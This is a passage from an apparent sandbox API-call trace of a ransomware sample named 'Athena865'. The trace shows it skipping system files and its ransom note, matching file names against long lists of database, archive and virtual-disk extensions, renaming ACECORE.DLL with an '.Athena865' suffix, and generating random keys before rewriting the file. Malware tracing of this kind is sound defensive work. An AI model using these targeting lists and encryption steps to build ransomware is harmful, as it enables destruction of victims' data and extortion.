[0111.698] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0111.698] lstrlenW (lpString="sdf") returned 3 [0111.698] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0111.698] lstrlenW (lpString="sis") returned 3 [0111.698] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0111.698] lstrlenW (lpString="spq") returned 3 [0111.698] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0111.698] lstrlenW (lpString="te") returned 2 [0111.698] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0111.700] lstrlenW (lpString="teacher") returned 7 [0111.700] lstrcmpiW (lpString1="ORE.DLL", lpString2="teacher") returned -1 [0111.700] lstrlenW (lpString="tmd") returned 3 [0111.700] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0111.700] lstrlenW (lpString="tps") returned 3 [0111.700] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0111.700] lstrlenW (lpString="trc") returned 3 [0111.700] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0111.700] lstrlenW (lpString="trc") returned 3 [0111.700] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0111.700] lstrlenW (lpString="trm") returned 3 [0111.700] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0111.700] lstrlenW (lpString="udb") returned 3 [0111.700] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0111.700] lstrlenW (lpString="udl") returned 3 [0111.700] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0111.700] lstrlenW (lpString="usr") returned 3 [0111.700] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0111.700] lstrlenW (lpString="v12") returned 3 [0111.700] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0111.700] lstrlenW (lpString="vis") returned 3 [0111.700] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0111.700] lstrlenW (lpString="vpd") returned 3 [0111.700] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0111.700] lstrlenW (lpString="vvv") returned 3 [0111.700] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0111.700] lstrlenW (lpString="wdb") returned 3 [0111.701] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0111.701] lstrlenW (lpString="wmdb") returned 4 [0111.701] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0111.701] lstrlenW (lpString="wrk") returned 3 [0111.701] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0111.701] lstrlenW (lpString="xdb") returned 3 [0111.701] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0111.701] lstrlenW (lpString="xld") returned 3 [0111.701] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0111.701] lstrlenW (lpString="xmlff") returned 5 [0111.701] lstrcmpiW (lpString1="E.DLL", lpString2="xmlff") returned -1 [0111.701] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.Athena865") returned 77 [0111.701] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.athena865"), dwFlags=0x1) returned 1 [0111.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0111.705] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3213192) returned 1 [0111.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0111.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0111.705] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0111.706] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.706] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.706] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x310a90, lpName=0x0) returned 0x154 [0111.707] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x110a90) returned 0x2d50000 [0111.753] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0111.818] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0111.836] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0111.837] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.837] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0111.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0111.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.838] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0111.847] CloseHandle (hObject=0x154) returned 1 [0111.847] CloseHandle (hObject=0x17c) returned 1 [0111.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0111.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0111.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.857] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".") returned 1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="..") returned 1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="windows") returned -1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="bootmgr") returned -1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="temp") returned -1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="pagefile.sys") returned -1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="boot") returned -1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="ids.txt") returned -1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="ntuser.dat") returned -1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="perflogs") returned -1 [0111.857] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="MSBuild") returned -1 [0111.857] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0111.857] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEDAO.DLL" | out: lpString1="ACEDAO.DLL") returned="ACEDAO.DLL" [0111.857] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0111.857] lstrlenW (lpString="Athena865") returned 9 [0111.857] lstrcmpiW (lpString1="CEDAO.DLL", lpString2="Athena865") returned 1 [0111.857] lstrlenW (lpString=".dll") returned 4 [0111.858] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".dll") returned 1 [0111.858] lstrlenW (lpString=".lnk") returned 4 [0111.858] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".lnk") returned 1 [0111.858] lstrlenW (lpString=".ini") returned 4 [0111.858] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".ini") returned 1 [0111.858] lstrlenW (lpString=".sys") returned 4 [0111.858] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".sys") returned 1 [0111.858] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0111.858] lstrlenW (lpString="bak") returned 3 [0111.858] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0111.858] lstrlenW (lpString="ba_") returned 3 [0111.858] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0111.858] lstrlenW (lpString="dbb") returned 3 [0111.858] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0111.858] lstrlenW (lpString="vmdk") returned 4 [0111.858] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0111.858] lstrlenW (lpString="rar") returned 3 [0111.858] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0111.858] lstrlenW (lpString="zip") returned 3 [0111.858] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0111.858] lstrlenW (lpString="tgz") returned 3 [0111.858] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0111.858] lstrlenW (lpString="vbox") returned 4 [0111.858] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0111.858] lstrlenW (lpString="vdi") returned 3 [0111.858] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0111.858] lstrlenW (lpString="vhd") returned 3 [0111.858] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0111.858] lstrlenW (lpString="vhdx") returned 4 [0111.859] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0111.859] lstrlenW (lpString="avhd") returned 4 [0111.859] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0111.859] lstrlenW (lpString="db") returned 2 [0111.859] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0111.859] lstrlenW (lpString="db2") returned 3 [0111.859] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0111.859] lstrlenW (lpString="db3") returned 3 [0111.859] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0111.859] lstrlenW (lpString="dbf") returned 3 [0111.859] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0111.859] lstrlenW (lpString="mdf") returned 3 [0111.859] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0111.859] lstrlenW (lpString="mdb") returned 3 [0111.859] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0111.859] lstrlenW (lpString="sql") returned 3 [0111.859] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0111.859] lstrlenW (lpString="sqlite") returned 6 [0111.859] lstrcmpiW (lpString1="AO.DLL", lpString2="sqlite") returned -1 [0111.859] lstrlenW (lpString="sqlite3") returned 7 [0111.859] lstrcmpiW (lpString1="DAO.DLL", lpString2="sqlite3") returned -1 [0111.859] lstrlenW (lpString="sqlitedb") returned 8 [0111.859] lstrcmpiW (lpString1="EDAO.DLL", lpString2="sqlitedb") returned -1 [0111.859] lstrlenW (lpString="xml") returned 3 [0111.859] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0111.859] lstrlenW (lpString="$er") returned 3 [0111.859] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0111.859] lstrlenW (lpString="4dd") returned 3 [0111.860] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0111.860] lstrlenW (lpString="4dl") returned 3 [0111.860] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0111.860] lstrlenW (lpString="^^^") returned 3 [0111.860] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0111.860] lstrlenW (lpString="abs") returned 3 [0111.860] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0111.860] lstrlenW (lpString="abx") returned 3 [0111.860] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0111.860] lstrlenW (lpString="accdb") returned 5 [0111.860] lstrcmpiW (lpString1="O.DLL", lpString2="accdb") returned 1 [0111.860] lstrlenW (lpString="accdc") returned 5 [0111.860] lstrcmpiW (lpString1="O.DLL", lpString2="accdc") returned 1 [0111.860] lstrlenW (lpString="accde") returned 5 [0111.860] lstrcmpiW (lpString1="O.DLL", lpString2="accde") returned 1 [0111.860] lstrlenW (lpString="accdr") returned 5 [0111.860] lstrcmpiW (lpString1="O.DLL", lpString2="accdr") returned 1 [0111.860] lstrlenW (lpString="accdt") returned 5 [0111.860] lstrcmpiW (lpString1="O.DLL", lpString2="accdt") returned 1 [0111.860] lstrlenW (lpString="accdw") returned 5 [0111.860] lstrcmpiW (lpString1="O.DLL", lpString2="accdw") returned 1 [0111.860] lstrlenW (lpString="accft") returned 5 [0111.860] lstrcmpiW (lpString1="O.DLL", lpString2="accft") returned 1 [0111.860] lstrlenW (lpString="adb") returned 3 [0111.860] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0111.860] lstrlenW (lpString="adb") returned 3 [0111.860] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0111.860] lstrlenW (lpString="ade") returned 3 [0111.860] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0111.860] lstrlenW (lpString="adf") returned 3 [0111.861] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0111.861] lstrlenW (lpString="adn") returned 3 [0111.861] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0111.861] lstrlenW (lpString="adp") returned 3 [0111.861] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0111.861] lstrlenW (lpString="alf") returned 3 [0111.861] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0111.861] lstrlenW (lpString="ask") returned 3 [0111.861] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0111.861] lstrlenW (lpString="btr") returned 3 [0111.861] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0111.861] lstrlenW (lpString="cat") returned 3 [0111.861] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0111.861] lstrlenW (lpString="cdb") returned 3 [0111.861] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0111.861] lstrlenW (lpString="ckp") returned 3 [0111.861] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0111.861] lstrlenW (lpString="cma") returned 3 [0111.861] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0111.861] lstrlenW (lpString="cpd") returned 3 [0111.861] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0111.861] lstrlenW (lpString="dacpac") returned 6 [0111.861] lstrcmpiW (lpString1="AO.DLL", lpString2="dacpac") returned -1 [0111.861] lstrlenW (lpString="dad") returned 3 [0111.861] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0111.861] lstrlenW (lpString="dadiagrams") returned 10 [0111.861] lstrlenW (lpString="daschema") returned 8 [0111.861] lstrcmpiW (lpString1="EDAO.DLL", lpString2="daschema") returned 1 [0111.861] lstrlenW (lpString="db-journal") returned 10 [0111.861] lstrlenW (lpString="db-shm") returned 6 [0111.862] lstrcmpiW (lpString1="AO.DLL", lpString2="db-shm") returned -1 [0111.862] lstrlenW (lpString="db-wal") returned 6 [0111.862] lstrcmpiW (lpString1="AO.DLL", lpString2="db-wal") returned -1 [0111.862] lstrlenW (lpString="dbc") returned 3 [0111.862] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0111.862] lstrlenW (lpString="dbs") returned 3 [0111.862] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0111.862] lstrlenW (lpString="dbt") returned 3 [0111.862] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0111.862] lstrlenW (lpString="dbv") returned 3 [0111.862] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0111.862] lstrlenW (lpString="dbx") returned 3 [0111.862] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0111.862] lstrlenW (lpString="dcb") returned 3 [0111.862] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0111.862] lstrlenW (lpString="dct") returned 3 [0111.862] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0111.862] lstrlenW (lpString="dcx") returned 3 [0111.862] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0111.862] lstrlenW (lpString="ddl") returned 3 [0111.862] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0111.862] lstrlenW (lpString="dlis") returned 4 [0111.862] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0111.862] lstrlenW (lpString="dp1") returned 3 [0111.862] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0111.862] lstrlenW (lpString="dqy") returned 3 [0111.862] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0111.862] lstrlenW (lpString="dsk") returned 3 [0111.862] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0111.863] lstrlenW (lpString="dsn") returned 3 [0111.863] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0111.863] lstrlenW (lpString="dtsx") returned 4 [0111.863] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0111.863] lstrlenW (lpString="dxl") returned 3 [0111.863] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0111.863] lstrlenW (lpString="eco") returned 3 [0111.863] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0111.863] lstrlenW (lpString="ecx") returned 3 [0111.863] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0111.863] lstrlenW (lpString="edb") returned 3 [0111.863] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0111.863] lstrlenW (lpString="epim") returned 4 [0111.863] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0111.863] lstrlenW (lpString="fcd") returned 3 [0111.863] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0111.863] lstrlenW (lpString="fdb") returned 3 [0111.863] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0111.863] lstrlenW (lpString="fic") returned 3 [0111.863] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0111.863] lstrlenW (lpString="flexolibrary") returned 12 [0111.863] lstrlenW (lpString="fm5") returned 3 [0111.863] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0111.863] lstrlenW (lpString="fmp") returned 3 [0111.863] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0111.863] lstrlenW (lpString="fmp12") returned 5 [0111.863] lstrcmpiW (lpString1="O.DLL", lpString2="fmp12") returned 1 [0111.863] lstrlenW (lpString="fmpsl") returned 5 [0111.863] lstrcmpiW (lpString1="O.DLL", lpString2="fmpsl") returned 1 [0111.864] lstrlenW (lpString="fol") returned 3 [0111.864] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0111.864] lstrlenW (lpString="fp3") returned 3 [0111.864] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0111.864] lstrlenW (lpString="fp4") returned 3 [0111.864] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0111.864] lstrlenW (lpString="fp5") returned 3 [0111.864] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0111.864] lstrlenW (lpString="fp7") returned 3 [0111.864] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0111.864] lstrlenW (lpString="fpt") returned 3 [0111.864] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0111.864] lstrlenW (lpString="frm") returned 3 [0111.864] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0111.864] lstrlenW (lpString="gdb") returned 3 [0111.864] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0111.864] lstrlenW (lpString="gdb") returned 3 [0111.864] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0111.864] lstrlenW (lpString="grdb") returned 4 [0111.864] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0111.864] lstrlenW (lpString="gwi") returned 3 [0111.864] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0111.864] lstrlenW (lpString="hdb") returned 3 [0111.864] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0111.864] lstrlenW (lpString="his") returned 3 [0111.864] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0111.864] lstrlenW (lpString="ib") returned 2 [0111.864] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0111.864] lstrlenW (lpString="idb") returned 3 [0111.865] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0111.865] lstrlenW (lpString="ihx") returned 3 [0111.865] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0111.865] lstrlenW (lpString="itdb") returned 4 [0111.865] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0111.865] lstrlenW (lpString="itw") returned 3 [0111.865] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0111.865] lstrlenW (lpString="jet") returned 3 [0111.865] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0111.865] lstrlenW (lpString="jtx") returned 3 [0111.865] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0111.865] lstrlenW (lpString="kdb") returned 3 [0111.865] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0111.865] lstrlenW (lpString="kexi") returned 4 [0111.865] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0111.865] lstrlenW (lpString="kexic") returned 5 [0111.865] lstrcmpiW (lpString1="O.DLL", lpString2="kexic") returned 1 [0111.865] lstrlenW (lpString="kexis") returned 5 [0111.865] lstrcmpiW (lpString1="O.DLL", lpString2="kexis") returned 1 [0111.865] lstrlenW (lpString="lgc") returned 3 [0111.865] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0111.865] lstrlenW (lpString="lwx") returned 3 [0111.865] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0111.865] lstrlenW (lpString="maf") returned 3 [0111.865] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0111.865] lstrlenW (lpString="maq") returned 3 [0111.865] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0111.865] lstrlenW (lpString="mar") returned 3 [0111.865] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0111.865] lstrlenW (lpString="marshal") returned 7 [0111.865] lstrcmpiW (lpString1="DAO.DLL", lpString2="marshal") returned -1 [0111.866] lstrlenW (lpString="mas") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0111.866] lstrlenW (lpString="mav") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0111.866] lstrlenW (lpString="maw") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0111.866] lstrlenW (lpString="mdbhtml") returned 7 [0111.866] lstrcmpiW (lpString1="DAO.DLL", lpString2="mdbhtml") returned -1 [0111.866] lstrlenW (lpString="mdn") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0111.866] lstrlenW (lpString="mdt") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0111.866] lstrlenW (lpString="mfd") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0111.866] lstrlenW (lpString="mpd") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0111.866] lstrlenW (lpString="mrg") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0111.866] lstrlenW (lpString="mud") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0111.866] lstrlenW (lpString="mwb") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0111.866] lstrlenW (lpString="myd") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0111.866] lstrlenW (lpString="ndf") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0111.866] lstrlenW (lpString="nnt") returned 3 [0111.866] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0111.866] lstrlenW (lpString="nrmlib") returned 6 [0111.867] lstrcmpiW (lpString1="AO.DLL", lpString2="nrmlib") returned -1 [0111.867] lstrlenW (lpString="ns2") returned 3 [0111.867] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0111.867] lstrlenW (lpString="ns3") returned 3 [0111.867] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0111.867] lstrlenW (lpString="ns4") returned 3 [0111.867] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0111.867] lstrlenW (lpString="nsf") returned 3 [0111.867] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0111.867] lstrlenW (lpString="nv") returned 2 [0111.867] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0111.867] lstrlenW (lpString="nv2") returned 3 [0111.867] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0111.867] lstrlenW (lpString="nwdb") returned 4 [0111.867] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0111.867] lstrlenW (lpString="nyf") returned 3 [0111.867] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0111.867] lstrlenW (lpString="odb") returned 3 [0111.867] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0111.867] lstrlenW (lpString="odb") returned 3 [0111.867] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0111.867] lstrlenW (lpString="oqy") returned 3 [0111.867] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0111.867] lstrlenW (lpString="ora") returned 3 [0111.867] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0111.867] lstrlenW (lpString="orx") returned 3 [0111.867] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0111.867] lstrlenW (lpString="owc") returned 3 [0111.867] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0111.868] lstrlenW (lpString="p96") returned 3 [0111.868] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0111.868] lstrlenW (lpString="p97") returned 3 [0111.868] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0111.868] lstrlenW (lpString="pan") returned 3 [0111.868] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0111.868] lstrlenW (lpString="pdb") returned 3 [0111.868] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0111.868] lstrlenW (lpString="pdm") returned 3 [0111.868] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0111.868] lstrlenW (lpString="pnz") returned 3 [0111.868] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0111.868] lstrlenW (lpString="qry") returned 3 [0111.868] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0111.868] lstrlenW (lpString="qvd") returned 3 [0111.868] lstrcmpiW 